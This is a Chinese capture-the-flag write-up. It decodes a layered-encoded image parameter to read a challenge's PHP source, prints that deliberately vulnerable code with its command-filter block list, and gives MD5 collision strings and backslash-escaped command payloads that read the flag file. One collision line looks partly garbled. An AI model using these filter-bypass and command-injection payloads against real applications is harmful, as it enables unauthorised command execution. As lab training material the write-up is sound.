1. 首页
url栏中有:
1 TXpVek5UTTFNbVUzTURabE5qYz0
猜测是Base64加密,后面添加==,解密后为:
再次Base64解密:
猜测为hex加密的,hex解密 后:
文件的总共的加密过程:Hex->Base64->Base64
2. 抓包
可以看到Base对文件进行了加密,通过解密和chrome控制台定位都可以确定是页面的gif的动态图的base64加密后的。
3. 加密
有img参数的地方就有文件读取,可以猜想index.php中含有源码
对index.php进行三次加密:
1 2 3 先Hex编码:696e6465782e706870 再Base64加密:Njk2ZTY0NjU3ODJlNzA2ODcw 再Base64加密:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
右边的响应报文base64解密后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8' ); $cmd = $_GET['cmd' ]; if (!isset ($_GET['img' ]) || !isset ($_GET['cmd' ])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=' ); $file = hex2bin(base64_decode(base64_decode($_GET['img' ]))); $file = preg_replace("/[^a-zA-Z0-9.]+/" , "" , $file); if (preg_match("/flag/i" , $file)) { echo '<img src ="./ctf3.jpeg">' ; die ("xixi~ no flag" ); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>" ; echo "<br>" ; } echo $cmd;echo "<br>" ;if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd)) { echo ("forbid ~" ); echo "<br>" ; } else { if ((string )$_POST['a' ] !== (string )$_POST['b' ] && md5($_POST['a' ]) === md5($_POST['b' ])) { echo `$cmd`; } else { echo ("md5 is funny ~" ); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color: } </style> <body> </body> </html>
4. 代码审计
4.1 MD5强绕过
1 2 3 if ((string )$_POST['a' ] !== (string )$_POST['b' ] && md5($_POST['a' ]) === md5($_POST['b' ])) { echo `$cmd`;
对于一般的MD5强绕过(===)来说,可以直接用数组进行绕过,但是这题用了string强转换,所以利用字符串的MD5强绕过
1 a=%4 d%c9%68 %ff%0 e%e3%5 c%20 %95 %72 %d4%77 %7 b%72 %15 %87 %d3%6 f%a7%b2%1 b%dc%56 %b7%4 a%3 d%c0%78 %3 e%7 b%95 %18 %af%bf%a2%00 %a8%28 %4 b%f3%6 e%8 e%4 b%55 %b3%5 f%42 %75 %93 %d8%49 %67 %6 d%a0%d1%55 %5 d%83 %60 %fb%5 f%07 %fe%a2xxxxxxxxxx a=a=%4 d%c9%68 %ff%0 e%e3%5 c%20 %95 %72 %d4%77 %7 b%72 %15 %87 %d3%6 f%a7%b2%1 b%dc%56 %b7%4 a%3 d%c0%78 %3 e%7 b%95 %18 %af%bf%a2%00 %a8%28 %4 b%f3%6 e%8 e%4 b%55 %b3%5 f%42 %75 %93 %d8%49 %67 %6 d%a0%d1%55 %5 d%83 %60 %fb%5 f%07 %fe%a2
1 b=%4 d%c9%68 %ff%0 e%e3%5 c%20 %95 %72 %d4%77 %7 b%72 %15 %87 %d3%6 f%a7%b2%1 b%dc%56 %b7%4 a%3 d%c0%78 %3 e%7 b%95 %18 %af%bf%a2%02 %a8%28 %4 b%f3%6 e%8 e%4 b%55 %b3%5 f%42 %75 %93 %d8%49 %67 %6 d%a0%d1%d5%5 d%83 %60 %fb%5 f%07 %fe%a2
这两串 url 编码进行 urldecode 后 md5 值相同,注意要放进 burp 执行,因为放 hackbar 里会对数据自动进行 url 编码。
4.2 cmd命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $cmd = $_GET['cmd' ]; if (!isset ($_GET['img' ]) || !isset ($_GET['cmd' ])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=' ); $file = hex2bin(base64_decode(base64_decode($_GET['img' ]))); $file = preg_replace("/[^a-zA-Z0-9.]+/" , "" , $file); if (preg_match("/flag/i" , $file)) { echo '<img src ="./ctf3.jpeg">' ; die ("xixi~ no flag" ); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>" ; echo "<br>" ; } echo $cmd;
1 if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd))
这里对cmd的参数的关键字进行了正则匹配过滤,因为|\\|\\\\|
只对双斜杠和四斜杠进行了过滤,正则中\\\
才相当于一个\
,对于preg_match
这个函数可以通过单反斜杠\
进行绕过,也就是说可以
payload:
1 2 3 4 5 cmd=ca\t%20 /flag 绝对路径:cmd=/bin/ca\t%20 /flag stings读取flag:cmd=strings%20 /flag sort比较读取flag:cmd=sort%20 /flag
4.3 对于反斜杠的解释
1 2 3 4 5 6 7 8 php中: echo '\'; //报错 echo ' \\'; //返回\ echo ' \\\'; //报错 echo ' \\\\'; //返回\\ echo ' \\\\\'; //报错 echo ' \\\\\\'; //返回\\\ 可以看出当\的数量为基数的时候都报错,偶数的时候返回一半的数量
4.4 对sort的解释
1 2 sort的定义: sort将文件的每一行作为一个单位相互比较,比较原则是从首字符向后依次按ASCII码进行比较,最后将它们按升序输出(就是按行排序)。
参考:
https://blog.csdn.net/weixin_41463193/article/details/83539168
https://www.thinbug.com/q/28062568